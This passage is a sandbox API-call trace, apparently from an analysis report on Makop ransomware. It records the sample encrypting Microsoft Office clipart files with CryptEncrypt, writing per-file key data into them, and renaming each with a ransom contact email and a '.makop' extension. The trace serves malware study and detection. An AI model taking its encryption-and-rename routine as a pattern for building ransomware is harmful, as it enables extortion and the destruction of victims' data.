lpNumberOfBytesWritten=0x6577aa8*=0x1b80, lpOverlapped=0x0) returned 1 [0126.095] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.095] SetEndOfFile (hFile=0xf0) returned 1 [0126.102] GetProcessHeap () returned 0x48a0000 [0126.102] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.102] GetProcessHeap () returned 0x48a0000 [0126.102] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.102] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.104] CloseHandle (hObject=0xf0) returned 1 [0126.104] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0126.104] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0126.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.106] GetProcessHeap () returned 0x48a0000 [0126.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.107] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.112] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.112] GetProcessHeap () returned 0x48a0000 [0126.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.112] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.112] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.113] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.114] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3198, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3198, lpOverlapped=0x0) returned 1 [0126.115] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31a0) returned 1 [0126.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.115] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31a0, lpOverlapped=0x0) returned 1 [0126.116] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.116] SetEndOfFile (hFile=0xf0) returned 1 [0126.122] GetProcessHeap () returned 0x48a0000 [0126.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.122] GetProcessHeap () returned 0x48a0000 [0126.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.122] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.124] CloseHandle (hObject=0xf0) returned 1 [0126.124] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0126.124] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0126.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.125] GetProcessHeap () returned 0x48a0000 [0126.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.125] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.130] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.130] GetProcessHeap () returned 0x48a0000 [0126.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.130] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.130] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.131] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.131] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.131] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16e8, lpOverlapped=0x0) returned 1 [0126.136] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f0) returned 1 [0126.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.136] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16f0, lpOverlapped=0x0) returned 1 [0126.136] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.136] SetEndOfFile (hFile=0xf0) returned 1 [0126.144] GetProcessHeap () returned 0x48a0000 [0126.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.144] GetProcessHeap () returned 0x48a0000 [0126.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.144] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.146] CloseHandle (hObject=0xf0) returned 1 [0126.146] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0126.146] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0126.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.147] GetProcessHeap () returned 0x48a0000 [0126.147] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.147] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.152] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.152] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.152] GetProcessHeap () returned 0x48a0000 [0126.152] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.152] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.152] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.153] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.153] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2608, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2608, lpOverlapped=0x0) returned 1 [0126.155] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610, dwBufLen=0x2610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610) returned 1 [0126.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2610, lpOverlapped=0x0) returned 1 [0126.156] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.156] SetEndOfFile (hFile=0xf0) returned 1 [0126.163] GetProcessHeap () returned 0x48a0000 [0126.163] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.163] GetProcessHeap () returned 0x48a0000 [0126.163] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.163] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.165] CloseHandle (hObject=0xf0) returned 1 [0126.165] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0126.165] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0126.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.166] GetProcessHeap () returned 0x48a0000 [0126.166] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.166] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.167] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.172] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.172] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.172] GetProcessHeap () returned 0x48a0000 [0126.172] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.172] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.172] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.174] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.174] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.174] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 